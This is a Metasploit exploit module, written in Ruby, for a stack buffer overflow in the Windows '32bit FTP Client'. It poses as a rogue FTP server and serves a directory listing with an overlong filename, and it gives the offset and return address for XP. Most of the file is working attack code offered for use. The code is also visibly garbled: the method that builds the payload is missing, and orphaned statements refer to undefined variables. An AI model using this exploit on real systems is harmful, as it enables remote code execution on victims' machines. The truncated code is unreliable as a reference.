##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::FtpServer
def initialize(info = {})
super(update_info(info,
'Name' => '32bit FTP Client Stack Buffer Overflow ',
'Description' => %q{
This module exploits a stack buffer overflow in 32bit ftp client, triggered when trying to
download a file that has an overly long filename.
},
'Author' =>
[
'fancy', # found the bug
'corelanc0d3r' # helped writing this module
],
'License' => MSF_LICENSE,
'Version' => "$Revision: 11039 $",
'References' =>
[
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00\xff\x0a",
},
'Platform' => 'win',
'Targets' =>
[
[ 'XP Universal', { 'Offset' => 259, 'Ret' => 0x004393ED } ], #RETN 32bitftp.exe
],
'Privileged' => false,
'DisclosureDate' => 'Oct 12 2010',
'DefaultTarget' => 0))
end
def setup
super
end
def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end
print_status(" - Sending directory list via data connection")
dirlist = "-rw-rw-r-- 1 1176 1176 1060 Apr 23 23:17 #{strfile}.bin\r\n\r\n"
conn.put(dirlist)
conn.close
print_status(" - LIST sent, wait for user to double click file...")
return
end